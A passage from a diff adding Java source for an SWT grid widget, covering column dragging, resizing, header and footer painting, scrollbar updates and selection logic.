.getColumnGroup()) + { + // Dont move a column w/o a group in between two columns + // in the same group + dragDropPointValid = false; + } + } + else + { + if (!(local_dragDropBeforeColumn != null && local_dragDropBeforeColumn + .getColumnGroup() == columnBeingPushed.getColumnGroup()) + && !(local_dragDropAfterColumn != null && local_dragDropAfterColumn + .getColumnGroup() == columnBeingPushed.getColumnGroup())) + { + // Dont move a column with a group + dragDropPointValid = false; + } + } + } + else + { + dragDropPointValid = true; + } + } + + dragDropBeforeColumn = local_dragDropBeforeColumn; + dragDropAfterColumn = local_dragDropAfterColumn; + + Rectangle clientArea = getClientArea(); + redraw(clientArea.x,clientArea.y,clientArea.width,clientArea.height,false); + + return true; + } + + /** + * Handles the moving of columns after a column is dropped. + */ + private void handleColumnDrop() + { + draggingColumn = false; + + if ((dragDropBeforeColumn != columnBeingPushed && dragDropAfterColumn != columnBeingPushed) + && (columnGroups.length == 0 || dragDropPointValid)) + { + + int notifyFrom = displayOrderedColumns.indexOf(columnBeingPushed); + int notifyTo = notifyFrom; + + displayOrderedColumns.remove(columnBeingPushed); + + if (dragDropBeforeColumn == null) + { + + notifyTo = displayOrderedColumns.size(); + displayOrderedColumns.add(columnBeingPushed); + } + else if (dragDropAfterColumn == null) + { + displayOrderedColumns.add(0, columnBeingPushed); + notifyFrom = 0; + } + else + { + int insertAtIndex = 0; + + if (columnGroups.length != 0) + { + // ensure that we aren't putting this column into a group, + // this is possible if + // there are invisible columns between the after and before + // cols + + if (dragDropBeforeColumn.getColumnGroup() == columnBeingPushed.getColumnGroup()) + { + insertAtIndex = displayOrderedColumns.indexOf(dragDropBeforeColumn); + } + else if (dragDropAfterColumn.getColumnGroup() == columnBeingPushed + .getColumnGroup()) + { + insertAtIndex = displayOrderedColumns.indexOf(dragDropAfterColumn) + 1; + } + else + { + if (dragDropBeforeColumn.getColumnGroup() == null) + { + insertAtIndex = displayOrderedColumns.indexOf(dragDropBeforeColumn); + } + else + { + GridColumnGroup beforeGroup = dragDropBeforeColumn.getColumnGroup(); + insertAtIndex = displayOrderedColumns.indexOf(dragDropBeforeColumn); + while (insertAtIndex > 0 + && ((GridColumn)displayOrderedColumns.get(insertAtIndex -1)).getColumnGroup() == beforeGroup) + { + insertAtIndex--; + } + + } + } + } + else + { + insertAtIndex = displayOrderedColumns.indexOf(dragDropBeforeColumn); + } + displayOrderedColumns.add(insertAtIndex, columnBeingPushed); + notifyFrom = Math.min(notifyFrom, insertAtIndex); + notifyTo = Math.max(notifyTo, insertAtIndex); + } + + for (int i = notifyFrom; i <= notifyTo; i++) + { + ((GridColumn)displayOrderedColumns.get(i)).fireMoved(); + } + } + + redraw(); + } + + /** + * Determines if the mouse is pushing the header but has since move out of + * the header bounds and therefore should be drawn unpushed. Also initiates + * a column header drag when appropriate. + * + * @param x mouse x + * @param y mouse y + * @return true if this event has been consumed. + */ + private boolean handleColumnHeaderHoverWhilePushing(int x, int y) + { + GridColumn overThis = overColumnHeader(x, y); + + if ((overThis == columnBeingPushed) != pushingAndHovering) + { + pushingAndHovering = (overThis == columnBeingPushed); + redraw(); + } + if (columnBeingPushed.getMoveable()) + { + + if (pushingAndHovering && Math.abs(startHeaderPushX - x) > 3) + { + + // stop pushing + pushingColumn = false; + columnBeingPushed.getHeaderRenderer().setMouseDown(false); + columnBeingPushed.getHeaderRenderer().setHover(false); + + // now dragging + draggingColumn = true; + columnBeingPushed.getHeaderRenderer().setMouseDown(false); + + startHeaderDragX = x; + + dragDropAfterColumn = null; + dragDropBeforeColumn = null; + dragDropPointValid = true; + + handleColumnDragging(x); + } + } + + return true; + } + + /** + * Determines if a column group header has been clicked and forwards the + * event to the header renderer. + * + * @param x mouse x + * @param y mouse y + * @return true if this event has been consumed. + */ + private boolean handleColumnGroupHeaderClick(int x, int y) + { + + if (!columnHeadersVisible) + { + return false; + } + + GridColumnGroup overThis = overColumnGroupHeader(x, y); + + if (overThis == null) + { + return false; + } + + int headerX = 0; + if (rowHeaderVisible) + { + headerX += rowHeaderWidth; + } + + int width = 0; + boolean firstCol = false; + + for (Iterator colIterator = displayOrderedColumns.iterator(); colIterator.hasNext(); ) + { + GridColumn col = (GridColumn) colIterator.next(); + if (col.getColumnGroup() == overThis && col.isVisible()) + { + firstCol = true; + width += col.getWidth(); + } + if (!firstCol && col.isVisible()) + { + headerX += col.getWidth(); + } + } + + overThis.getHeaderRenderer().setBounds(headerX - getHScrollSelectionInPixels(), 0, width, + groupHeaderHeight); + return overThis.getHeaderRenderer() + .notify(IInternalWidget.LeftMouseButtonDown, new Point(x, y), overThis); + } + + /** + * Determines if a column header has been clicked, updates the renderer + * state and triggers a redraw if necesary. + * + * @param x mouse x + * @param y mouse y + * @return true if this event has been consumed. + */ + private boolean handleColumnHeaderPush(int x, int y) + { + if (!columnHeadersVisible) + { + return false; + } + + GridColumn overThis = overColumnHeader(x, y); + + if (overThis == null) + { + return false; + } + + columnBeingPushed = overThis; + + // draw pushed + columnBeingPushed.getHeaderRenderer().setMouseDown(true); + columnBeingPushed.getHeaderRenderer().setHover(true); + pushingAndHovering = true; + redraw(); + + startHeaderPushX = x; + pushingColumn = true; + + setCapture(true); + + return true; + } + + private boolean handleColumnFooterPush(int x, int y) + { + if(!columnFootersVisible) { + return false; + } + + GridColumn overThis = overColumnFooter(x, y); + + if (overThis == null) + { + return false; + } + + return true; + } + + /** + * Sets the new width of the column being resized and fires the appropriate + * listeners. + * + * @param x mouse x + */ + private void handleColumnResizerDragging(int x) + { + int newWidth = resizingColumnStartWidth + (x - resizingStartX); + if (newWidth < MIN_COLUMN_HEADER_WIDTH) + { + newWidth = MIN_COLUMN_HEADER_WIDTH; + } + + if (columnScrolling) + { + int maxWidth = getClientArea().width; + if (rowHeaderVisible) + maxWidth -= rowHeaderWidth; + if (newWidth > maxWidth) + newWidth = maxWidth; + } + + if (newWidth == columnBeingResized.getWidth()) + { + return; + } + + columnBeingResized.setWidth(newWidth,false); + scrollValuesObsolete = true; + + Rectangle clientArea = getClientArea(); + redraw(clientArea.x,clientArea.y,clientArea.width,clientArea.height,false); + + columnBeingResized.fireResized(); + + for (int index = displayOrderedColumns.indexOf(columnBeingResized) + 1; index < displayOrderedColumns.size(); index ++) + { + GridColumn col = (GridColumn)displayOrderedColumns.get(index); + if (col.isVisible()) col.fireMoved(); + } + } + /** + * Sets the new height of the item of the row being resized and fires the appropriate + * listeners. + * + * @param x mouse x + */ + private void handleRowResizerDragging(int y) + { + int newHeight = resizingRowStartHeight + (y - resizingStartY); + if (newHeight < MIN_ROW_HEADER_HEIGHT) + { + newHeight = MIN_ROW_HEADER_HEIGHT; + } + + if (newHeight > getClientArea().height) + { + newHeight = getClientArea().height; + } + + if (newHeight == rowBeingResized.getHeight()) + { + return; + } + + Event e = new Event(); + e.item = rowBeingResized; + e.widget = this; + e.detail = newHeight; + + rowBeingResized.notifyListeners(SWT.Resize, e); + + if (e.doit == false) + return; + + newHeight = e.detail; + + if (newHeight < MIN_ROW_HEADER_HEIGHT) + { + newHeight = MIN_ROW_HEADER_HEIGHT; + } + + if (newHeight > getClientArea().height) + { + newHeight = getClientArea().height; + } + + rowBeingResized.setHeight(newHeight); + scrollValuesObsolete = true; + + Rectangle clientArea = getClientArea(); + redraw(clientArea.x,clientArea.y,clientArea.width,clientArea.height,false); + } + + /** + * Determines if the mouse is hovering on a column resizer and changes the + * pointer and sets field appropriately. + * + * @param x mouse x + * @param y mouse y + * @return true if this event has been consumed. + */ + private boolean handleHoverOnColumnResizer(int x, int y) + { + boolean over = false; + if (y <= headerHeight) + { + int x2 = 0; + + if (rowHeaderVisible) + { + x2 += rowHeaderWidth; + } + + x2 -= getHScrollSelectionInPixels(); + + for (Iterator columnIterator = displayOrderedColumns.iterator(); columnIterator.hasNext(); ) + { + GridColumn column = (GridColumn) columnIterator.next(); + if (!column.isVisible()) + { + continue; + } + x2 += column.getWidth(); + + if (x2 >= (x - COLUMN_RESIZER_THRESHOLD) && x2 <= (x + COLUMN_RESIZER_THRESHOLD)) + { + if (column.getResizeable()) + { + if (column.getColumnGroup() != null && y <= groupHeaderHeight) + { + // if this is not the last column + if (column != column.getColumnGroup().getLastVisibleColumn()) + { + break; + } + } + + over = true; + columnBeingResized = column; + } + break; + } + } + } + + if (over != hoveringOnColumnResizer) + { + if (over) + { + setCursor(getDisplay().getSystemCursor(SWT.CURSOR_SIZEWE)); + } + else + { + columnBeingResized = null; + setCursor(null); + } + hoveringOnColumnResizer = over; + } + return over; + } + + /** + * Determines if the mouse is hovering on a row resizer and changes the + * pointer and sets field appropriately. + * + * @param x mouse x + * @param y mouse y + * @return true if this event has been consumed. + */ + private boolean handleHoverOnRowResizer(int x, int y) + { + rowBeingResized = null; + boolean over = false; + if (x <= rowHeaderWidth) + { + int y2 = 0; + + if (columnHeadersVisible) + { + y2 += headerHeight; + } + + int row=getTopIndex(); + while(row= (y - ROW_RESIZER_THRESHOLD) && y2 <= (y + ROW_RESIZER_THRESHOLD)) + { +// if (currItem.isResizeable()) + { + over = true; + rowBeingResized = currItem; + } + // do not brake here, because in case of overlapping + // row resizers we need to find the last one + } + else + { + if(rowBeingResized != null) + { + // we have passed all (overlapping) row resizers, so break + break; + } + } + } + row++; + } + } + + if (over != hoveringOnRowResizer) + { + if (over) + { + setCursor(getDisplay().getSystemCursor(SWT.CURSOR_SIZENS)); + } + else + { + rowBeingResized = null; + setCursor(null); + } + hoveringOnRowResizer = over; + } + return over; + } + + /** + * Returns the cell at the given point in the receiver or null if no such + * cell exists. The point is in the coordinate system of the receiver. + * + * @param point the point used to locate the item + * @return the cell at the given point + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the point is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public Point getCell(Point point) + { + checkWidget(); + + if (point == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + if (point.x < 0 || point.x > getClientArea().width) return null; + + GridItem item = getItem(point); + GridColumn column = getColumn(point); + + if (item!=null && column!=null) + { + return new Point(columns.indexOf(column),items.indexOf(item)); + } + else + { + return null; + } + } + + /** + * Paints. + * + * @param e paint event + */ + private void onPaint(PaintEvent e) + { + int insertMarkPosX1 = -1; // we will populate these values while drawing the cells + int insertMarkPosX2 = -1; + int insertMarkPosY = -1; + boolean insertMarkPosFound = false; + + GridCellSpanManager cellSpanManager = new GridCellSpanManager(); + + e.gc.setBackground(getBackground()); + this.drawBackground(e.gc,0,0,getSize().x,getSize().y); + + if (scrollValuesObsolete) + { + updateScrollbars(); + scrollValuesObsolete = false; + } + + int x = 0; + int y = 0; + + if (columnHeadersVisible) + { + paintHeader(e.gc); + y += headerHeight; + } + + int availableHeight = getClientArea().height-y; + int visibleRows = availableHeight / getItemHeight() + 1; + if (items.size()>0 && availableHeight>0) + { + RowRange range = getRowRange(getTopIndex(),availableHeight,false,false); + if (range.height >= availableHeight) + visibleRows = range.rows; + else + visibleRows = range.rows + (availableHeight-range.height) / getItemHeight() + 1; + } + + int firstVisibleIndex = getTopIndex(); + int firstItemToDraw = firstVisibleIndex; + + if(hasSpanning) { + // We need to find the first Item to draw. An earlier item can row-span the first visible item. + for(int rowIndex = 0; rowIndex < firstVisibleIndex; rowIndex++) + { + GridItem itemForRow = (GridItem)items.get(rowIndex); + int colIndex = 0; + + int maxRowSpanForItem = 0; + for (Iterator columnIterator = displayOrderedColumns.iterator(); columnIterator.hasNext(); ) + { + GridColumn column = (GridColumn) columnIterator.next(); + + if (!column.isVisible()) + { + colIndex++; + continue; + } + + int rowSpan = itemForRow.getRowSpan(colIndex); + maxRowSpanForItem = rowSpan > maxRowSpanForItem ? rowSpan : maxRowSpanForItem; + } + + if(rowIndex + maxRowSpanForItem >= firstVisibleIndex) { + firstItemToDraw = rowIndex; + break; + } else { + rowIndex += maxRowSpanForItem; + } + } + + for(int rowIndex = firstItemToDraw; rowIndex < firstVisibleIndex; rowIndex++) + { + GridItem itemForRow = (GridItem)items.get(rowIndex); + y = y - itemForRow.getHeight() - 1; + } + } + + int row = firstItemToDraw; + + for (int i = 0; i < visibleRows + (firstVisibleIndex - firstItemToDraw); i++) + { + + x = 0; + + x -= getHScrollSelectionInPixels(); + + // get the item to draw + GridItem item = null; + if (row < items.size()) + { + item = (GridItem)items.get(row); + + while (!item.isVisible() && row < items.size() - 1) + { + row++; + item = (GridItem)items.get(row); + } + } + if (item != null && !item.isVisible()) + { + item = null; + } + + if (item != null) + { + boolean cellInRowSelected = false; + + + if (rowHeaderVisible) + { + + // row header is actually painted later + x += rowHeaderWidth; + } + + int focusY = y; + + int colIndex = 0; + + // draw regular cells for each column + for (Iterator columnIterator = displayOrderedColumns.iterator(); columnIterator.hasNext(); ) + { + + GridColumn column = (GridColumn) columnIterator.next(); + boolean skipCell = cellSpanManager.skipCell(colIndex, row); + int indexOfColumn = indexOf(column); + + if (!column.isVisible()) + { + colIndex++; + if(skipCell) + { + cellSpanManager.consumeCell(colIndex, row); + } + continue; + } + + int width = item.getCellSize(indexOfColumn).x; + + if(skipCell == false) + { + + int nrRowsToSpan = item.getRowSpan(indexOfColumn); + int nrColumnsToSpan = item.getColumnSpan(indexOfColumn); + + if(nrRowsToSpan > 0 || nrColumnsToSpan > 0) + { + cellSpanManager.addCellSpanInfo(colIndex, row, nrColumnsToSpan, nrRowsToSpan); + } + + if (x + width >= 0 && x < getClientArea().width ) + { + Point sizeOfColumn = item.getCellSize(indexOfColumn); + + column.getCellRenderer().setBounds(x, y, width, sizeOfColumn.y); + int cellInHeaderDelta = columnHeadersVisible ? headerHeight - y : 0; + if(cellInHeaderDelta > 0) + { + e.gc.setClipping(new Rectangle(x -1,y + cellInHeaderDelta, width +1, sizeOfColumn.y + 2 - cellInHeaderDelta)); + } + else + { + e.gc.setClipping(new Rectangle(x -1,y -1,width +1, sizeOfColumn.y + 2)); + } + + column.getCellRenderer().setRow(i + 1); + + column.getCellRenderer().setSelected(selectedItems.contains(item)); + column.getCellRenderer().setFocus(this.isFocusControl()); + column.getCellRenderer().setRowFocus(focusItem == item); + column.getCellRenderer().setCellFocus(cellSelectionEnabled && focusItem == item && focusColumn == column); + + column.getCellRenderer().setRowHover(hoveringItem == item); + column.getCellRenderer().setColumnHover(hoveringColumn == column); + + column.getCellRenderer().setColumn(indexOfColumn); + + if (selectedCells.contains(new Point(indexOfColumn,row))) + { + column.getCellRenderer().setCellSelected(true); + cellInRowSelected = true; + } + else + { + column.getCellRenderer().setCellSelected(false); + } + + if (hoveringItem == item && hoveringColumn == column) + { + column.getCellRenderer().setHoverDetail(hoveringDetail); + } + else + { + column.getCellRenderer().setHoverDetail(""); + } + + column.getCellRenderer().paint(e.gc, item); + + e.gc.setClipping((Rectangle)null); + + // collect the insertMark position + if (!insertMarkPosFound && insertMarkItem == item && (insertMarkColumn == null || insertMarkColumn == column)) + { + // y-pos + insertMarkPosY = y - 1; + if (!insertMarkBefore) + insertMarkPosY += item.getHeight() + 1; + // x1-pos + insertMarkPosX1 = x; + if (column.isTree()) + { + insertMarkPosX1 += Math.min( + width, + column.getCellRenderer().getTextBounds(item, false).x); + } + + // x2-pos + if (insertMarkColumn == null) + { + insertMarkPosX2 = getClientArea().x + getClientArea().width; + } + else + { + insertMarkPosX2 = x + width; + } + + insertMarkPosFound = true; + } + } + } + else + { + cellSpanManager.consumeCell(colIndex, row); + } + + x += column.getWidth(); + colIndex++; + + } + + if (x < getClientArea().width) + { + // insertMarkPos needs correction + if(insertMarkPosFound && insertMarkColumn == null) + insertMarkPosX2 = x; + + emptyCellRenderer.setSelected(selectedItems.contains(item)); + emptyCellRenderer.setFocus(this.isFocusControl()); + emptyCellRenderer.setRow(i + 1); + emptyCellRenderer.setBounds(x, y, getClientArea().width - x + 1, item.getHeight()); + emptyCellRenderer.setColumn(getColumnCount()); + emptyCellRenderer.paint(e.gc, item); + } + + x = 0; + + if (rowHeaderVisible) + { + + if (!cellSelectionEnabled) + { + rowHeaderRenderer.setSelected(selectedItems.contains(item)); + } + else + { + rowHeaderRenderer.setSelected(cellInRowSelected); + } + if(y >= headerHeight) + { + rowHeaderRenderer.setBounds(0, y, rowHeaderWidth, item.getHeight() + 1); + rowHeaderRenderer.paint(e.gc, item); + } + x += rowHeaderWidth; + } + + // focus + if (isFocusControl() && !cellSelectionEnabled) + { + if (item == focusItem) + { + if (focusRenderer != null) + { + int focusX = 0; + if (rowHeaderVisible) + { + focusX = rowHeaderWidth; + } + focusRenderer + .setBounds(focusX, focusY - 1, getClientArea().width - focusX - 1, + item.getHeight() + 1); + focusRenderer.paint(e.gc, item); + } + } + } + + y += item.getHeight() + 1; + } + else + { + + if (rowHeaderVisible) + { + //row header is actually painted later + x += rowHeaderWidth; + } + + emptyCellRenderer.setBounds(x, y, getClientArea().width - x, getItemHeight()); + emptyCellRenderer.setFocus(false); + emptyCellRenderer.setSelected(false); + emptyCellRenderer.setRow(i + 1); + + for (Iterator columnIterator = displayOrderedColumns.iterator(); columnIterator.hasNext(); ) + { + GridColumn column = (GridColumn) columnIterator.next(); + + if (column.isVisible()) + { + emptyCellRenderer.setBounds(x, y, column.getWidth(), getItemHeight()); + emptyCellRenderer.setColumn(indexOf(column)); + emptyCellRenderer.paint(e.gc, this); + + x += column.getWidth(); + } + } + + if (x < getClientArea().width) + { + emptyCellRenderer.setBounds(x, y, getClientArea().width - x + 1, getItemHeight()); + emptyCellRenderer.setColumn(getColumnCount()); + emptyCellRenderer.paint(e.gc, this); + } + + + x = 0; + + if (rowHeaderVisible) + { + emptyRowHeaderRenderer.setBounds(x, y, rowHeaderWidth, getItemHeight() + 1); + emptyRowHeaderRenderer.paint(e.gc, this); + + x += rowHeaderWidth; + } + + y += getItemHeight() + 1; + } + + row++; + } + + // draw drop point + if (draggingColumn) + { + if ((dragDropAfterColumn != null || dragDropBeforeColumn != null) + && (dragDropAfterColumn != columnBeingPushed && dragDropBeforeColumn != columnBeingPushed) + && dragDropPointValid) + { + if (dragDropBeforeColumn != null) + { + x = getColumnHeaderXPosition(dragDropBeforeColumn); + } + else + { + x = getColumnHeaderXPosition(dragDropAfterColumn) + + dragDropAfterColumn.getWidth(); + } + + Point size = dropPointRenderer.computeSize(e.gc, SWT.DEFAULT, SWT.DEFAULT, null); + x -= size.x / 2; + if (x < 0) + { + x = 0; + } + dropPointRenderer.setBounds(x - 1, headerHeight + DROP_POINT_LOWER_OFFSET, size.x, + size.y); + dropPointRenderer.paint(e.gc, null); + } + } + + // draw insertion mark + if (insertMarkPosFound) + { + e.gc.setClipping( + rowHeaderVisible ? rowHeaderWidth : 0, + columnHeadersVisible ? headerHeight : 0, + getClientArea().width, + getClientArea().height); + insertMarkRenderer.paint(e.gc, new Rectangle(insertMarkPosX1, insertMarkPosY, insertMarkPosX2 - insertMarkPosX1, 0)); + } + + if (columnFootersVisible) + { + paintFooter(e.gc); + } + } + + /** + * Returns a column reference if the x,y coordinates are over a column + * header (header only). + * + * @param x mouse x + * @param y mouse y + * @return column reference which mouse is over, or null. + */ + private GridColumn overColumnHeader(int x, int y) + { + GridColumn col = null; + + if (y <= headerHeight && y > 0) + { + col = getColumn(new Point(x, y)); + if (col != null && col.getColumnGroup() != null) + { + if (y <= groupHeaderHeight) + { + return null; + } + } + } + + return col; + } + + /** + * Returns a column reference if the x,y coordinates are over a column + * header (header only). + * + * @param x mouse x + * @param y mouse y + * @return column reference which mouse is over, or null. + */ + private GridColumn overColumnFooter(int x, int y) + { + GridColumn col = null; + + if (y >= getClientArea().height - footerHeight ) + { + col = getColumn(new Point(x, y)); + } + + return col; + } + + /** + * Returns a column group reference if the x,y coordinates are over a column + * group header (header only). + * + * @param x mouse x + * @param y mouse y + * @return column group reference which mouse is over, or null. + */ + private GridColumnGroup overColumnGroupHeader(int x, int y) + { + GridColumnGroup group = null; + + if (y <= groupHeaderHeight && y > 0) + { + GridColumn col = getColumn(new Point(x, y)); + if (col != null) + { + group = col.getColumnGroup(); + } + } + + return group; + } + + /** + * Paints the header. + * + * @param gc gc from paint event + */ + private void paintHeader(GC gc) + { + int x = 0; + int y = 0; + + x -= getHScrollSelectionInPixels(); + + if (rowHeaderVisible) + { + // paint left corner + // topLeftRenderer.setBounds(0, y, rowHeaderWidth, headerHeight); + // topLeftRenderer.paint(gc, null); + x += rowHeaderWidth; + } + + GridColumnGroup previousPaintedGroup = null; + + for (Iterator columnIterator = displayOrderedColumns.iterator(); columnIterator.hasNext(); ) + { + if (x > getClientArea().width) + break; + + GridColumn column = (GridColumn) columnIterator.next(); + int height = 0; + + if (!column.isVisible()) + { + continue; + } + + if (column.getColumnGroup() != null) + { + + if (column.getColumnGroup() != previousPaintedGroup) + { + int width = column.getWidth(); + + GridColumn nextCol = null; + if (displayOrderedColumns.indexOf(column) + 1 < displayOrderedColumns.size()) + { + nextCol = (GridColumn)displayOrderedColumns + .get(displayOrderedColumns.indexOf(column) + 1); + } + + while (nextCol != null && nextCol.getColumnGroup() == column.getColumnGroup()) + { + + if ((nextCol.getColumnGroup().getExpanded() && !nextCol.isDetail()) + || (!nextCol.getColumnGroup().getExpanded() && !nextCol.isSummary())) + { + } + else if( nextCol.isVisible() ) + { + width += nextCol.getWidth(); + } + + if (displayOrderedColumns.indexOf(nextCol) + 1 < displayOrderedColumns + .size()) + { + nextCol = (GridColumn)displayOrderedColumns.get(displayOrderedColumns + .indexOf(nextCol) + 1); + } + else + { + nextCol = null; + } + } + + boolean selected = true; + + for (int i = 0; i < column.getColumnGroup().getColumns().length; i++) + { + GridColumn col = column.getColumnGroup().getColumns()[i]; + if (col.isVisible() && (column.getMoveable() || !selectedColumns.contains(col))) + { + selected = false; + break; + } + } + + + column.getColumnGroup().getHeaderRenderer().setSelected(selected); + column.getColumnGroup().getHeaderRenderer() + .setHover(hoverColumnGroupHeader == column.getColumnGroup()); + column.getColumnGroup().getHeaderRenderer().setHoverDetail(hoveringDetail); + + column.getColumnGroup().getHeaderRenderer().setBounds(x, 0, width, + groupHeaderHeight); + + column.getColumnGroup().getHeaderRenderer().paint(gc, column.getColumnGroup()); + + previousPaintedGroup = column.getColumnGroup(); + } + + height = headerHeight - groupHeaderHeight; + y = groupHeaderHeight; + } + else + { + height = headerHeight; + y = 0; + } + + if (pushingColumn) + { + column.getHeaderRenderer().setHover( + columnBeingPushed == column + && pushingAndHovering); + } + else + { + column.getHeaderRenderer().setHover(hoveringColumnHeader == column); + } + + column.getHeaderRenderer().setHoverDetail(hoveringDetail); + + column.getHeaderRenderer().setBounds(x, y, column.getWidth(), height); + + if (cellSelectionEnabled) + column.getHeaderRenderer().setSelected(selectedColumns.contains(column)); + + if (x + column.getWidth() >= 0) + { + column.getHeaderRenderer().paint(gc, column); + } + + x += column.getWidth(); + } + + if (x < getClientArea().width) + { + emptyColumnHeaderRenderer.setBounds(x, 0, getClientArea().width - x, headerHeight); + emptyColumnHeaderRenderer.paint(gc, null); + } + + x = 0; + + if (rowHeaderVisible) + { + // paint left corner + topLeftRenderer.setBounds(0, 0, rowHeaderWidth, headerHeight); + topLeftRenderer.paint(gc, this); + x += rowHeaderWidth; + } + + if (draggingColumn) + { + + gc.setAlpha(COLUMN_DRAG_ALPHA); + + columnBeingPushed.getHeaderRenderer().setSelected(false); + + int height = 0; + + if (columnBeingPushed.getColumnGroup() != null) + { + height = headerHeight - groupHeaderHeight; + y = groupHeaderHeight; + } + else + { + height = headerHeight; + y = 0; + } + + columnBeingPushed.getHeaderRenderer() + .setBounds( + getColumnHeaderXPosition(columnBeingPushed) + + (currentHeaderDragX - startHeaderDragX), y, + columnBeingPushed.getWidth(), height); + columnBeingPushed.getHeaderRenderer().paint(gc, columnBeingPushed); + columnBeingPushed.getHeaderRenderer().setSelected(false); + + gc.setAlpha(-1); + gc.setAdvanced(false); + } + + } + + private void paintFooter(GC gc) { + int x = 0; + int y = 0; + + x -= getHScrollSelectionInPixels(); + + if (rowHeaderVisible) + { + // paint left corner + // topLeftRenderer.setBounds(0, y, rowHeaderWidth, headerHeight); + // topLeftRenderer.paint(gc, null); + x += rowHeaderWidth; + } + + for (Iterator columnIterator = displayOrderedColumns.iterator(); columnIterator.hasNext(); ) { + if (x > getClientArea().width) + break; + + GridColumn column = (GridColumn) columnIterator.next(); + int height = 0; + + if (!column.isVisible()) + { + continue; + } + + height = footerHeight; + y = getClientArea().height - height; + + column.getFooterRenderer().setBounds(x, y, column.getWidth(), height); + if (x + column.getWidth() >= 0) + { + column.getFooterRenderer().paint(gc, column); + } + + x += column.getWidth(); + } + + if (x < getClientArea().width) + { + emptyColumnFooterRenderer.setBounds(x, getClientArea().height - footerHeight, getClientArea().width - x, footerHeight); + emptyColumnFooterRenderer.paint(gc, null); + } + + if (rowHeaderVisible) + { + // paint left corner + bottomLeftRenderer.setBounds(0, getClientArea().height-footerHeight, rowHeaderWidth, footerHeight); + bottomLeftRenderer.paint(gc, this); + x += rowHeaderWidth; + } + } + + /** + * Manages the state of the scrollbars when new items are added or the + * bounds are changed. + */ + private void updateScrollbars() + { + Point preferredSize = getTableSize(); + + Rectangle clientArea = getClientArea(); + + // First, figure out if the scrollbars should be visible and turn them + // on right away + // this will allow the computations further down to accommodate the + // correct client + // area + + // Turn the scrollbars on if necessary and do it all over again if + // necessary. This ensures + // that if a scrollbar is turned on/off, the other scrollbar's + // visibility may be affected (more + // area may have been added/removed. + for (int doublePass = 1; doublePass <= 2; doublePass++) + { + + if (preferredSize.y > clientArea.height) + { + vScroll.setVisible(true); + } + else + { + vScroll.setVisible(false); + vScroll.setValues(0, 0, 1, 1, 1, 1); + } + if (preferredSize.x > clientArea.width) + { + hScroll.setVisible(true); + } + else + { + hScroll.setVisible(false); + hScroll.setValues(0, 0, 1, 1, 1, 1); + } + + // get the clientArea again with the now visible/invisible + // scrollbars + clientArea = getClientArea(); + } + + // if the scrollbar is visible set its values + if (vScroll.getVisible()) + { + int max = currentVisibleItems; + int thumb = 1; + + if(!hasDifferingHeights) + { + // in this case, the number of visible rows on screen is constant, + // so use this as thumb + thumb = ( getVisibleGridHeight() + 1 ) / ( getItemHeight() + 1 ); + } + else + { + // in this case, the number of visible rows on screen is variable, + // so we have to use 1 as thumb and decrease max by the number of + // rows on the last page + if(getVisibleGridHeight()>=1) { + RowRange range = getRowRange(-1,getVisibleGridHeight(),true,true); + max -= range.rows - 1; + } + } + + // if possible, remember selection, if selection is too large, just + // make it the max you can + int selection = Math.min(vScroll.getSelection(), max); + + vScroll.setValues(selection, 0, max, thumb, 1, thumb); + } + + // if the scrollbar is visible set its values + if (hScroll.getVisible()) + { + + if (!columnScrolling) + { + // horizontal scrolling works pixel by pixel + + int hiddenArea = preferredSize.x - clientArea.width + 1; + + // if possible, remember selection, if selection is too large, + // just + // make it the max you can + int selection = Math.min(hScroll.getSelection(), hiddenArea - 1); + + hScroll.setValues(selection, 0, hiddenArea + clientArea.width - 1, clientArea.width, + HORZ_SCROLL_INCREMENT, clientArea.width); + } + else + { + // horizontal scrolling is column by column + + int hiddenArea = preferredSize.x - clientArea.width + 1; + + int max = 0; + int i = 0; + + while (hiddenArea > 0 && i < getColumnCount()) + { + GridColumn col = (GridColumn)displayOrderedColumns.get(i); + + i++; + + if (col.isVisible()) + { + hiddenArea -= col.getWidth(); + max++; + } + } + + max++; + + // max should never be greater than the number of visible cols + int visCols = 0; + for (Iterator iter = columns.iterator(); iter.hasNext();) + { + GridColumn element = (GridColumn)iter.next(); + if (element.isVisible()) + { + visCols++; + } + } + max = Math.min(visCols, max); + + // if possible, remember selection, if selection is too large, + // just + // make it the max you can + int selection = Math.min(hScroll.getSelection(), max); + + hScroll.setValues(selection, 0, max, 1, 1, 1); + } + } + + } + + /** + * Adds/removes items from the selected items list based on the + * selection/deselection of the given item. + * + * @param item item being selected/unselected + * @param stateMask key state during selection + * + * @return selection event that needs to be fired or null + */ + private Event updateSelection(GridItem item, int stateMask) + { + if (!selectionEnabled) + { + return null; + } + + Event selectionEvent = null; + + if (selectionType == SWT.SINGLE) + { + if (selectedItems.contains(item)) + { + // Deselect when pressing CTRL + if ((stateMask & SWT.MOD1) == SWT.MOD1) + { + selectedItems.clear(); + } + } + else + { + selectedItems.clear(); + selectedItems.add(item); + } + Rectangle clientArea = getClientArea(); + redraw(clientArea.x,clientArea.y,clientArea.width,clientArea.height,false); + + selectionEvent = new Event(); + selectionEvent.item = item; + } + else if (selectionType == SWT.MULTI) + { + boolean shift = false; + boolean ctrl = false; + + if ((stateMask & SWT.MOD2) == SWT.MOD2) + { + shift = true; + } + + if ((stateMask & SWT.MOD1) == SWT.MOD1) + { + ctrl = true; + } + + if (!shift && !ctrl) + { + if (selectedItems.size() == 1 && selectedItems.contains(item)) return null; + + selectedItems.clear(); + + selectedItems.add(item); + + Rectangle clientArea = getClientArea(); + redraw(clientArea.x,clientArea.y,clientArea.width,clientArea.height,false); + + shiftSelectionAnchorItem = null; + + selectionEvent = new Event(); + selectionEvent.item = item; + } + else if (shift) + { + + if (shiftSelectionAnchorItem == null) + { + shiftSelectionAnchorItem = focusItem; + } + +// if (shiftSelectionAnchorItem == item) +// { +// return; +// } + + boolean maintainAnchorSelection = false; + + if (!ctrl) + { + if (selectedItems.contains(shiftSelectionAnchorItem)) + { + maintainAnchorSelection = true; + } + selectedItems.clear(); + } + + int anchorIndex = items.indexOf(shiftSelectionAnchorItem); + int itemIndex = items.indexOf(item); + + int min = 0; + int max = 0; + + if (anchorIndex < itemIndex) + { + if (maintainAnchorSelection) + { + min = anchorIndex; + } + else + { + min = anchorIndex + 1; + } + max = itemIndex; + } + else + { + if (maintainAnchorSelection) + { + max = anchorIndex; + 